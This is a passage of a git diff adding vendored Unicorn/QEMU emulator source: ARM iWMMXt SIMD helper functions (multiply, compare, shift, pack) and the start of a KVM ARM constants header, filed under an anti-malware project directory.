((x) & 0x8000) +#define NBIT32(x) ((x) & 0x80000000) +#define NBIT64(x) ((x) & 0x8000000000000000ULL) +#define ZBIT8(x) (((x) & 0xff) == 0) +#define ZBIT16(x) (((x) & 0xffff) == 0) +#define ZBIT32(x) (((x) & 0xffffffff) == 0) +#define ZBIT64(x) (x == 0) +/* Sign extension macros. */ +#define EXTEND8H(a) ((uint16_t) (int8_t) (a)) +#define EXTEND8(a) ((uint32_t) (int8_t) (a)) +#define EXTEND16(a) ((uint32_t) (int16_t) (a)) +#define EXTEND16S(a) ((int32_t) (int16_t) (a)) +#define EXTEND32(a) ((uint64_t) (int32_t) (a)) + +uint64_t HELPER(iwmmxt_maddsq)(uint64_t a, uint64_t b) +{ + a = (( + EXTEND16S((a >> 0) & 0xffff) * EXTEND16S((b >> 0) & 0xffff) + + EXTEND16S((a >> 16) & 0xffff) * EXTEND16S((b >> 16) & 0xffff) + ) & 0xffffffff) | ((uint64_t) ( + EXTEND16S((a >> 32) & 0xffff) * EXTEND16S((b >> 32) & 0xffff) + + EXTEND16S((a >> 48) & 0xffff) * EXTEND16S((b >> 48) & 0xffff) + ) << 32); + return a; +} + +uint64_t HELPER(iwmmxt_madduq)(uint64_t a, uint64_t b) +{ + a = (( + ((a >> 0) & 0xffff) * ((b >> 0) & 0xffff) + + ((a >> 16) & 0xffff) * ((b >> 16) & 0xffff) + ) & 0xffffffff) | (( + ((a >> 32) & 0xffff) * ((b >> 32) & 0xffff) + + ((a >> 48) & 0xffff) * ((b >> 48) & 0xffff) + ) << 32); + return a; +} + +uint64_t HELPER(iwmmxt_sadb)(uint64_t a, uint64_t b) +{ +#define abs(x) (((x) >= 0) ? x : -x) +#define SADB(SHR) abs((int) ((a >> SHR) & 0xff) - (int) ((b >> SHR) & 0xff)) + return + SADB(0) + SADB(8) + SADB(16) + SADB(24) + + SADB(32) + SADB(40) + SADB(48) + SADB(56); +#undef SADB +} + +uint64_t HELPER(iwmmxt_sadw)(uint64_t a, uint64_t b) +{ +#define SADW(SHR) \ + abs((int) ((a >> SHR) & 0xffff) - (int) ((b >> SHR) & 0xffff)) + return SADW(0) + SADW(16) + SADW(32) + SADW(48); +#undef SADW +} + +uint64_t HELPER(iwmmxt_mulslw)(uint64_t a, uint64_t b) +{ +#define MULS(SHR) ((uint64_t) ((( \ + EXTEND16S((a >> SHR) & 0xffff) * EXTEND16S((b >> SHR) & 0xffff) \ + ) >> 0) & 0xffff) << SHR) + return MULS(0) | MULS(16) | MULS(32) | MULS(48); +#undef MULS +} + +uint64_t HELPER(iwmmxt_mulshw)(uint64_t a, uint64_t b) +{ +#define MULS(SHR) ((uint64_t) ((( \ + EXTEND16S((a >> SHR) & 0xffff) * EXTEND16S((b >> SHR) & 0xffff) \ + ) >> 16) & 0xffff) << SHR) + return MULS(0) | MULS(16) | MULS(32) | MULS(48); +#undef MULS +} + +uint64_t HELPER(iwmmxt_mululw)(uint64_t a, uint64_t b) +{ +#define MULU(SHR) ((uint64_t) ((( \ + ((a >> SHR) & 0xffff) * ((b >> SHR) & 0xffff) \ + ) >> 0) & 0xffff) << SHR) + return MULU(0) | MULU(16) | MULU(32) | MULU(48); +#undef MULU +} + +uint64_t HELPER(iwmmxt_muluhw)(uint64_t a, uint64_t b) +{ +#define MULU(SHR) ((uint64_t) ((( \ + ((a >> SHR) & 0xffff) * ((b >> SHR) & 0xffff) \ + ) >> 16) & 0xffff) << SHR) + return MULU(0) | MULU(16) | MULU(32) | MULU(48); +#undef MULU +} + +uint64_t HELPER(iwmmxt_macsw)(uint64_t a, uint64_t b) +{ +#define MACS(SHR) ( \ + EXTEND16((a >> SHR) & 0xffff) * EXTEND16S((b >> SHR) & 0xffff)) + return (int64_t) (MACS(0) + MACS(16) + MACS(32) + MACS(48)); +#undef MACS +} + +uint64_t HELPER(iwmmxt_macuw)(uint64_t a, uint64_t b) +{ +#define MACU(SHR) ( \ + (uint32_t) ((a >> SHR) & 0xffff) * \ + (uint32_t) ((b >> SHR) & 0xffff)) + return MACU(0) + MACU(16) + MACU(32) + MACU(48); +#undef MACU +} + +#define NZBIT8(x, i) \ + SIMD8_SET(NBIT8((x) & 0xff), SIMD_NBIT, i) | \ + SIMD8_SET(ZBIT8((x) & 0xff), SIMD_ZBIT, i) +#define NZBIT16(x, i) \ + SIMD16_SET(NBIT16((x) & 0xffff), SIMD_NBIT, i) | \ + SIMD16_SET(ZBIT16((x) & 0xffff), SIMD_ZBIT, i) +#define NZBIT32(x, i) \ + SIMD32_SET(NBIT32((x) & 0xffffffff), SIMD_NBIT, i) | \ + SIMD32_SET(ZBIT32((x) & 0xffffffff), SIMD_ZBIT, i) +#define NZBIT64(x) \ + SIMD64_SET(NBIT64(x), SIMD_NBIT) | \ + SIMD64_SET(ZBIT64(x), SIMD_ZBIT) +#define IWMMXT_OP_UNPACK(S, SH0, SH1, SH2, SH3) \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, b)))(CPUARMState *env, \ + uint64_t a, uint64_t b) \ +{ \ + a = \ + (((a >> SH0) & 0xff) << 0) | (((b >> SH0) & 0xff) << 8) | \ + (((a >> SH1) & 0xff) << 16) | (((b >> SH1) & 0xff) << 24) | \ + (((a >> SH2) & 0xff) << 32) | (((b >> SH2) & 0xff) << 40) | \ + (((a >> SH3) & 0xff) << 48) | (((b >> SH3) & 0xff) << 56); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT8(a >> 0, 0) | NZBIT8(a >> 8, 1) | \ + NZBIT8(a >> 16, 2) | NZBIT8(a >> 24, 3) | \ + NZBIT8(a >> 32, 4) | NZBIT8(a >> 40, 5) | \ + NZBIT8(a >> 48, 6) | NZBIT8(a >> 56, 7); \ + return a; \ +} \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, w)))(CPUARMState *env, \ + uint64_t a, uint64_t b) \ +{ \ + a = \ + (((a >> SH0) & 0xffff) << 0) | \ + (((b >> SH0) & 0xffff) << 16) | \ + (((a >> SH2) & 0xffff) << 32) | \ + (((b >> SH2) & 0xffff) << 48); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT8(a >> 0, 0) | NZBIT8(a >> 16, 1) | \ + NZBIT8(a >> 32, 2) | NZBIT8(a >> 48, 3); \ + return a; \ +} \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, l)))(CPUARMState *env, \ + uint64_t a, uint64_t b) \ +{ \ + a = \ + (((a >> SH0) & 0xffffffff) << 0) | \ + (((b >> SH0) & 0xffffffff) << 32); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT32(a >> 0, 0) | NZBIT32(a >> 32, 1); \ + return a; \ +} \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, ub)))(CPUARMState *env, \ + uint64_t x) \ +{ \ + x = \ + (((x >> SH0) & 0xff) << 0) | \ + (((x >> SH1) & 0xff) << 16) | \ + (((x >> SH2) & 0xff) << 32) | \ + (((x >> SH3) & 0xff) << 48); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT16(x >> 0, 0) | NZBIT16(x >> 16, 1) | \ + NZBIT16(x >> 32, 2) | NZBIT16(x >> 48, 3); \ + return x; \ +} \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, uw)))(CPUARMState *env, \ + uint64_t x) \ +{ \ + x = \ + (((x >> SH0) & 0xffff) << 0) | \ + (((x >> SH2) & 0xffff) << 32); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT32(x >> 0, 0) | NZBIT32(x >> 32, 1); \ + return x; \ +} \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, ul)))(CPUARMState *env, \ + uint64_t x) \ +{ \ + x = (((x >> SH0) & 0xffffffff) << 0); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = NZBIT64(x >> 0); \ + return x; \ +} \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, sb)))(CPUARMState *env, \ + uint64_t x) \ +{ \ + x = \ + ((uint64_t) EXTEND8H((x >> SH0) & 0xff) << 0) | \ + ((uint64_t) EXTEND8H((x >> SH1) & 0xff) << 16) | \ + ((uint64_t) EXTEND8H((x >> SH2) & 0xff) << 32) | \ + ((uint64_t) EXTEND8H((x >> SH3) & 0xff) << 48); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT16(x >> 0, 0) | NZBIT16(x >> 16, 1) | \ + NZBIT16(x >> 32, 2) | NZBIT16(x >> 48, 3); \ + return x; \ +} \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, sw)))(CPUARMState *env, \ + uint64_t x) \ +{ \ + x = \ + ((uint64_t) EXTEND16((x >> SH0) & 0xffff) << 0) | \ + ((uint64_t) EXTEND16((x >> SH2) & 0xffff) << 32); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT32(x >> 0, 0) | NZBIT32(x >> 32, 1); \ + return x; \ +} \ +uint64_t HELPER(glue(iwmmxt_unpack, glue(S, sl)))(CPUARMState *env, \ + uint64_t x) \ +{ \ + x = EXTEND32((x >> SH0) & 0xffffffff); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = NZBIT64(x >> 0); \ + return x; \ +} +IWMMXT_OP_UNPACK(l, 0, 8, 16, 24) +IWMMXT_OP_UNPACK(h, 32, 40, 48, 56) + +#define IWMMXT_OP_CMP(SUFF, Tb, Tw, Tl, O) \ +uint64_t HELPER(glue(iwmmxt_, glue(SUFF, b)))(CPUARMState *env, \ + uint64_t a, uint64_t b) \ +{ \ + a = \ + CMP(0, Tb, O, 0xff) | CMP(8, Tb, O, 0xff) | \ + CMP(16, Tb, O, 0xff) | CMP(24, Tb, O, 0xff) | \ + CMP(32, Tb, O, 0xff) | CMP(40, Tb, O, 0xff) | \ + CMP(48, Tb, O, 0xff) | CMP(56, Tb, O, 0xff); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT8(a >> 0, 0) | NZBIT8(a >> 8, 1) | \ + NZBIT8(a >> 16, 2) | NZBIT8(a >> 24, 3) | \ + NZBIT8(a >> 32, 4) | NZBIT8(a >> 40, 5) | \ + NZBIT8(a >> 48, 6) | NZBIT8(a >> 56, 7); \ + return a; \ +} \ +uint64_t HELPER(glue(iwmmxt_, glue(SUFF, w)))(CPUARMState *env, \ + uint64_t a, uint64_t b) \ +{ \ + a = CMP(0, Tw, O, 0xffff) | CMP(16, Tw, O, 0xffff) | \ + CMP(32, Tw, O, 0xffff) | CMP(48, Tw, O, 0xffff); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT16(a >> 0, 0) | NZBIT16(a >> 16, 1) | \ + NZBIT16(a >> 32, 2) | NZBIT16(a >> 48, 3); \ + return a; \ +} \ +uint64_t HELPER(glue(iwmmxt_, glue(SUFF, l)))(CPUARMState *env, \ + uint64_t a, uint64_t b) \ +{ \ + a = CMP(0, Tl, O, 0xffffffff) | \ + CMP(32, Tl, O, 0xffffffff); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + NZBIT32(a >> 0, 0) | NZBIT32(a >> 32, 1); \ + return a; \ +} +#define CMP(SHR, TYPE, OPER, MASK) ((((TYPE) ((a >> SHR) & MASK) OPER \ + (TYPE) ((b >> SHR) & MASK)) ? (uint64_t) MASK : 0) << SHR) +IWMMXT_OP_CMP(cmpeq, uint8_t, uint16_t, uint32_t, ==) +IWMMXT_OP_CMP(cmpgts, int8_t, int16_t, int32_t, >) +IWMMXT_OP_CMP(cmpgtu, uint8_t, uint16_t, uint32_t, >) +#undef CMP +#define CMP(SHR, TYPE, OPER, MASK) ((((TYPE) ((a >> SHR) & MASK) OPER \ + (TYPE) ((b >> SHR) & MASK)) ? a : b) & ((uint64_t) MASK << SHR)) +IWMMXT_OP_CMP(mins, int8_t, int16_t, int32_t, <) +IWMMXT_OP_CMP(minu, uint8_t, uint16_t, uint32_t, <) +IWMMXT_OP_CMP(maxs, int8_t, int16_t, int32_t, >) +IWMMXT_OP_CMP(maxu, uint8_t, uint16_t, uint32_t, >) +#undef CMP +#define CMP(SHR, TYPE, OPER, MASK) ((uint64_t) (((TYPE) ((a >> SHR) & MASK) \ + OPER (TYPE) ((b >> SHR) & MASK)) & MASK) << SHR) +IWMMXT_OP_CMP(subn, uint8_t, uint16_t, uint32_t, -) +IWMMXT_OP_CMP(addn, uint8_t, uint16_t, uint32_t, +) +#undef CMP +/* TODO Signed- and Unsigned-Saturation */ +#define CMP(SHR, TYPE, OPER, MASK) ((uint64_t) (((TYPE) ((a >> SHR) & MASK) \ + OPER (TYPE) ((b >> SHR) & MASK)) & MASK) << SHR) +IWMMXT_OP_CMP(subu, uint8_t, uint16_t, uint32_t, -) +IWMMXT_OP_CMP(addu, uint8_t, uint16_t, uint32_t, +) +IWMMXT_OP_CMP(subs, int8_t, int16_t, int32_t, -) +IWMMXT_OP_CMP(adds, int8_t, int16_t, int32_t, +) +#undef CMP +#undef IWMMXT_OP_CMP + +#define AVGB(SHR) ((( \ + ((a >> SHR) & 0xff) + ((b >> SHR) & 0xff) + round) >> 1) << SHR) +#define IWMMXT_OP_AVGB(r) \ +uint64_t HELPER(iwmmxt_avgb##r)(CPUARMState *env, uint64_t a, uint64_t b) \ +{ \ + const int round = r; \ + a = AVGB(0) | AVGB(8) | AVGB(16) | AVGB(24) | \ + AVGB(32) | AVGB(40) | AVGB(48) | AVGB(56); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + SIMD8_SET(ZBIT8((a >> 0) & 0xff), SIMD_ZBIT, 0) | \ + SIMD8_SET(ZBIT8((a >> 8) & 0xff), SIMD_ZBIT, 1) | \ + SIMD8_SET(ZBIT8((a >> 16) & 0xff), SIMD_ZBIT, 2) | \ + SIMD8_SET(ZBIT8((a >> 24) & 0xff), SIMD_ZBIT, 3) | \ + SIMD8_SET(ZBIT8((a >> 32) & 0xff), SIMD_ZBIT, 4) | \ + SIMD8_SET(ZBIT8((a >> 40) & 0xff), SIMD_ZBIT, 5) | \ + SIMD8_SET(ZBIT8((a >> 48) & 0xff), SIMD_ZBIT, 6) | \ + SIMD8_SET(ZBIT8((a >> 56) & 0xff), SIMD_ZBIT, 7); \ + return a; \ +} +IWMMXT_OP_AVGB(0) +IWMMXT_OP_AVGB(1) +#undef IWMMXT_OP_AVGB +#undef AVGB + +#define AVGW(SHR) ((( \ + ((a >> SHR) & 0xffff) + ((b >> SHR) & 0xffff) + round) >> 1) << SHR) +#define IWMMXT_OP_AVGW(r) \ +uint64_t HELPER(iwmmxt_avgw##r)(CPUARMState *env, uint64_t a, uint64_t b) \ +{ \ + const int round = r; \ + a = AVGW(0) | AVGW(16) | AVGW(32) | AVGW(48); \ + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = \ + SIMD16_SET(ZBIT16((a >> 0) & 0xffff), SIMD_ZBIT, 0) | \ + SIMD16_SET(ZBIT16((a >> 16) & 0xffff), SIMD_ZBIT, 1) | \ + SIMD16_SET(ZBIT16((a >> 32) & 0xffff), SIMD_ZBIT, 2) | \ + SIMD16_SET(ZBIT16((a >> 48) & 0xffff), SIMD_ZBIT, 3); \ + return a; \ +} +IWMMXT_OP_AVGW(0) +IWMMXT_OP_AVGW(1) +#undef IWMMXT_OP_AVGW +#undef AVGW + +uint64_t HELPER(iwmmxt_align)(uint64_t a, uint64_t b, uint32_t n) +{ + a >>= n << 3; + a |= b << (64 - (n << 3)); + return a; +} + +uint64_t HELPER(iwmmxt_insr)(uint64_t x, uint32_t a, uint32_t b, uint32_t n) +{ + x &= ~((uint64_t) b << n); + x |= (uint64_t) (a & b) << n; + return x; +} + +uint32_t HELPER(iwmmxt_setpsr_nz)(uint64_t x) +{ + return SIMD64_SET((x == 0), SIMD_ZBIT) | + SIMD64_SET((x & (1ULL << 63)), SIMD_NBIT); +} + +uint64_t HELPER(iwmmxt_bcstb)(uint32_t arg) +{ + arg &= 0xff; + return + ((uint64_t) arg << 0 ) | ((uint64_t) arg << 8 ) | + ((uint64_t) arg << 16) | ((uint64_t) arg << 24) | + ((uint64_t) arg << 32) | ((uint64_t) arg << 40) | + ((uint64_t) arg << 48) | ((uint64_t) arg << 56); +} + +uint64_t HELPER(iwmmxt_bcstw)(uint32_t arg) +{ + arg &= 0xffff; + return + ((uint64_t) arg << 0 ) | ((uint64_t) arg << 16) | + ((uint64_t) arg << 32) | ((uint64_t) arg << 48); +} + +uint64_t HELPER(iwmmxt_bcstl)(uint32_t arg) +{ + return arg | ((uint64_t) arg << 32); +} + +uint64_t HELPER(iwmmxt_addcb)(uint64_t x) +{ + return + ((x >> 0) & 0xff) + ((x >> 8) & 0xff) + + ((x >> 16) & 0xff) + ((x >> 24) & 0xff) + + ((x >> 32) & 0xff) + ((x >> 40) & 0xff) + + ((x >> 48) & 0xff) + ((x >> 56) & 0xff); +} + +uint64_t HELPER(iwmmxt_addcw)(uint64_t x) +{ + return + ((x >> 0) & 0xffff) + ((x >> 16) & 0xffff) + + ((x >> 32) & 0xffff) + ((x >> 48) & 0xffff); +} + +uint64_t HELPER(iwmmxt_addcl)(uint64_t x) +{ + return (x & 0xffffffff) + (x >> 32); +} + +uint32_t HELPER(iwmmxt_msbb)(uint64_t x) +{ + return + ((x >> 7) & 0x01) | ((x >> 14) & 0x02) | + ((x >> 21) & 0x04) | ((x >> 28) & 0x08) | + ((x >> 35) & 0x10) | ((x >> 42) & 0x20) | + ((x >> 49) & 0x40) | ((x >> 56) & 0x80); +} + +uint32_t HELPER(iwmmxt_msbw)(uint64_t x) +{ + return + ((x >> 15) & 0x01) | ((x >> 30) & 0x02) | + ((x >> 45) & 0x04) | ((x >> 52) & 0x08); +} + +uint32_t HELPER(iwmmxt_msbl)(uint64_t x) +{ + return ((x >> 31) & 0x01) | ((x >> 62) & 0x02); +} + +/* FIXME: Split wCASF setting into a separate op to avoid env use. */ +uint64_t HELPER(iwmmxt_srlw)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = (((x & (0xffffll << 0)) >> n) & (0xffffll << 0)) | + (((x & (0xffffll << 16)) >> n) & (0xffffll << 16)) | + (((x & (0xffffll << 32)) >> n) & (0xffffll << 32)) | + (((x & (0xffffll << 48)) >> n) & (0xffffll << 48)); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT16(x >> 0, 0) | NZBIT16(x >> 16, 1) | + NZBIT16(x >> 32, 2) | NZBIT16(x >> 48, 3); + return x; +} + +uint64_t HELPER(iwmmxt_srll)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = ((x & (0xffffffffll << 0)) >> n) | + ((x >> n) & (0xffffffffll << 32)); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT32(x >> 0, 0) | NZBIT32(x >> 32, 1); + return x; +} + +uint64_t HELPER(iwmmxt_srlq)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x >>= n; + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = NZBIT64(x); + return x; +} + +uint64_t HELPER(iwmmxt_sllw)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = (((x & (0xffffll << 0)) << n) & (0xffffll << 0)) | + (((x & (0xffffll << 16)) << n) & (0xffffll << 16)) | + (((x & (0xffffll << 32)) << n) & (0xffffll << 32)) | + (((x & (0xffffll << 48)) << n) & (0xffffll << 48)); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT16(x >> 0, 0) | NZBIT16(x >> 16, 1) | + NZBIT16(x >> 32, 2) | NZBIT16(x >> 48, 3); + return x; +} + +uint64_t HELPER(iwmmxt_slll)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = ((x << n) & (0xffffffffll << 0)) | + ((x & (0xffffffffll << 32)) << n); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT32(x >> 0, 0) | NZBIT32(x >> 32, 1); + return x; +} + +uint64_t HELPER(iwmmxt_sllq)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x <<= n; + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = NZBIT64(x); + return x; +} + +uint64_t HELPER(iwmmxt_sraw)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = ((uint64_t) ((EXTEND16(x >> 0) >> n) & 0xffff) << 0) | + ((uint64_t) ((EXTEND16(x >> 16) >> n) & 0xffff) << 16) | + ((uint64_t) ((EXTEND16(x >> 32) >> n) & 0xffff) << 32) | + ((uint64_t) ((EXTEND16(x >> 48) >> n) & 0xffff) << 48); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT16(x >> 0, 0) | NZBIT16(x >> 16, 1) | + NZBIT16(x >> 32, 2) | NZBIT16(x >> 48, 3); + return x; +} + +uint64_t HELPER(iwmmxt_sral)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = (((EXTEND32(x >> 0) >> n) & 0xffffffff) << 0) | + (((EXTEND32(x >> 32) >> n) & 0xffffffff) << 32); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT32(x >> 0, 0) | NZBIT32(x >> 32, 1); + return x; +} + +uint64_t HELPER(iwmmxt_sraq)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = (int64_t) x >> n; + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = NZBIT64(x); + return x; +} + +uint64_t HELPER(iwmmxt_rorw)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = ((((x & (0xffffll << 0)) >> n) | + ((x & (0xffffll << 0)) << (16 - n))) & (0xffffll << 0)) | + ((((x & (0xffffll << 16)) >> n) | + ((x & (0xffffll << 16)) << (16 - n))) & (0xffffll << 16)) | + ((((x & (0xffffll << 32)) >> n) | + ((x & (0xffffll << 32)) << (16 - n))) & (0xffffll << 32)) | + ((((x & (0xffffll << 48)) >> n) | + ((x & (0xffffll << 48)) << (16 - n))) & (0xffffll << 48)); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT16(x >> 0, 0) | NZBIT16(x >> 16, 1) | + NZBIT16(x >> 32, 2) | NZBIT16(x >> 48, 3); + return x; +} + +uint64_t HELPER(iwmmxt_rorl)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = ((x & (0xffffffffll << 0)) >> n) | + ((x >> n) & (0xffffffffll << 32)) | + ((x << (32 - n)) & (0xffffffffll << 0)) | + ((x & (0xffffffffll << 32)) << (32 - n)); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT32(x >> 0, 0) | NZBIT32(x >> 32, 1); + return x; +} + +uint64_t HELPER(iwmmxt_rorq)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = ror64(x, n); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = NZBIT64(x); + return x; +} + +uint64_t HELPER(iwmmxt_shufh)(CPUARMState *env, uint64_t x, uint32_t n) +{ + x = (((x >> ((n << 4) & 0x30)) & 0xffff) << 0) | + (((x >> ((n << 2) & 0x30)) & 0xffff) << 16) | + (((x >> ((n << 0) & 0x30)) & 0xffff) << 32) | + (((x >> ((n >> 2) & 0x30)) & 0xffff) << 48); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT16(x >> 0, 0) | NZBIT16(x >> 16, 1) | + NZBIT16(x >> 32, 2) | NZBIT16(x >> 48, 3); + return x; +} + +/* TODO: Unsigned-Saturation */ +uint64_t HELPER(iwmmxt_packuw)(CPUARMState *env, uint64_t a, uint64_t b) +{ + a = (((a >> 0) & 0xff) << 0) | (((a >> 16) & 0xff) << 8) | + (((a >> 32) & 0xff) << 16) | (((a >> 48) & 0xff) << 24) | + (((b >> 0) & 0xff) << 32) | (((b >> 16) & 0xff) << 40) | + (((b >> 32) & 0xff) << 48) | (((b >> 48) & 0xff) << 56); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT8(a >> 0, 0) | NZBIT8(a >> 8, 1) | + NZBIT8(a >> 16, 2) | NZBIT8(a >> 24, 3) | + NZBIT8(a >> 32, 4) | NZBIT8(a >> 40, 5) | + NZBIT8(a >> 48, 6) | NZBIT8(a >> 56, 7); + return a; +} + +uint64_t HELPER(iwmmxt_packul)(CPUARMState *env, uint64_t a, uint64_t b) +{ + a = (((a >> 0) & 0xffff) << 0) | (((a >> 32) & 0xffff) << 16) | + (((b >> 0) & 0xffff) << 32) | (((b >> 32) & 0xffff) << 48); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT16(a >> 0, 0) | NZBIT16(a >> 16, 1) | + NZBIT16(a >> 32, 2) | NZBIT16(a >> 48, 3); + return a; +} + +uint64_t HELPER(iwmmxt_packuq)(CPUARMState *env, uint64_t a, uint64_t b) +{ + a = (a & 0xffffffff) | ((b & 0xffffffff) << 32); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT32(a >> 0, 0) | NZBIT32(a >> 32, 1); + return a; +} + +/* TODO: Signed-Saturation */ +uint64_t HELPER(iwmmxt_packsw)(CPUARMState *env, uint64_t a, uint64_t b) +{ + a = (((a >> 0) & 0xff) << 0) | (((a >> 16) & 0xff) << 8) | + (((a >> 32) & 0xff) << 16) | (((a >> 48) & 0xff) << 24) | + (((b >> 0) & 0xff) << 32) | (((b >> 16) & 0xff) << 40) | + (((b >> 32) & 0xff) << 48) | (((b >> 48) & 0xff) << 56); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT8(a >> 0, 0) | NZBIT8(a >> 8, 1) | + NZBIT8(a >> 16, 2) | NZBIT8(a >> 24, 3) | + NZBIT8(a >> 32, 4) | NZBIT8(a >> 40, 5) | + NZBIT8(a >> 48, 6) | NZBIT8(a >> 56, 7); + return a; +} + +uint64_t HELPER(iwmmxt_packsl)(CPUARMState *env, uint64_t a, uint64_t b) +{ + a = (((a >> 0) & 0xffff) << 0) | (((a >> 32) & 0xffff) << 16) | + (((b >> 0) & 0xffff) << 32) | (((b >> 32) & 0xffff) << 48); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT16(a >> 0, 0) | NZBIT16(a >> 16, 1) | + NZBIT16(a >> 32, 2) | NZBIT16(a >> 48, 3); + return a; +} + +uint64_t HELPER(iwmmxt_packsq)(CPUARMState *env, uint64_t a, uint64_t b) +{ + a = (a & 0xffffffff) | ((b & 0xffffffff) << 32); + env->iwmmxt.cregs[ARM_IWMMXT_wCASF] = + NZBIT32(a >> 0, 0) | NZBIT32(a >> 32, 1); + return a; +} + +uint64_t HELPER(iwmmxt_muladdsl)(uint64_t c, uint32_t a, uint32_t b) +{ + return c + ((int32_t) EXTEND32(a) * (int32_t) EXTEND32(b)); +} + +uint64_t HELPER(iwmmxt_muladdsw)(uint64_t c, uint32_t a, uint32_t b) +{ + c += EXTEND32(EXTEND16S((a >> 0) & 0xffff) * + EXTEND16S((b >> 0) & 0xffff)); + c += EXTEND32(EXTEND16S((a >> 16) & 0xffff) * + EXTEND16S((b >> 16) & 0xffff)); + return c; +} + +uint64_t HELPER(iwmmxt_muladdswl)(uint64_t c, uint32_t a, uint32_t b) +{ + return c + (EXTEND32(EXTEND16S(a & 0xffff) * + EXTEND16S(b & 0xffff))); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/kvm-consts.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/kvm-consts.h new file mode 100644 index 0000000..aea12f1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/kvm-consts.h @@ -0,0 +1,182 @@ +/* + * KVM ARM ABI constant definitions + * + * Copyright (c) 2013 Linaro Limited + * + * Provide versions of KVM constant defines that can be used even + * when CONFIG_KVM is not set and we don't have access to the + * KVM headers. If CONFIG_KVM is set, we do a compile-time check + * that we haven't got out of sync somehow. + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + */ +#ifndef ARM_KVM_CONSTS_H +#define ARM_KVM_CONSTS_H + +#ifdef CONFIG_KVM +#include "qemu/compiler.h" +#include +#include + +#define MISMATCH_CHECK(X, Y) QEMU_BUILD_BUG_ON(X != Y) + +#else +#define MISMATCH_CHECK(X, Y) +#endif + +#define CP_REG_SIZE_SHIFT 52 +#define CP_REG_SIZE_MASK 0x00f0000000000000ULL +#define CP_REG_SIZE_U32 0x0020000000000000ULL +#define CP_REG_SIZE_U64 0x0030000000000000ULL +#define CP_REG_ARM 0x4000000000000000ULL +#define CP_REG_ARCH_MASK 0xff00000000000000ULL + +MISMATCH_CHECK(CP_REG_SIZE_SHIFT, KVM_REG_SIZE_SHIFT) +MISMATCH_CHECK(CP_REG_SIZE_MASK, KVM_REG_SIZE_MASK) +MISMATCH_CHECK(CP_REG_SIZE_U32, KVM_REG_SIZE_U32) +MISMATCH_CHECK(CP_REG_SIZE_U64, KVM_REG_SIZE_U64) +MISMATCH_CHECK(CP_REG_ARM, KVM_REG_ARM) +MISMATCH_CHECK(CP_REG_ARCH_MASK, KVM_REG_ARCH_MASK) + +#define QEMU_PSCI_0_1_FN_BASE 0x95c1ba5e +#define QEMU_PSCI_0_1_FN(n) (QEMU_PSCI_0_1_FN_BASE + (n)) +#define QEMU_PSCI_0_1_FN_CPU_SUSPEND QEMU_PSCI_0_1_FN(0) +#define QEMU_PSCI_0_1_FN_CPU_OFF QEMU_PSCI_0_1_FN(1) +#define QEMU_PSCI_0_1_FN_CPU_ON QEMU_PSCI_0_1_FN(2) +#define QEMU_PSCI_0_1_FN_MIGRATE QEMU_PSCI_0_1_FN(3) + +MISMATCH_CHECK(QEMU_PSCI_0_1_FN_CPU_SUSPEND, KVM_PSCI_FN_CPU_SUSPEND) 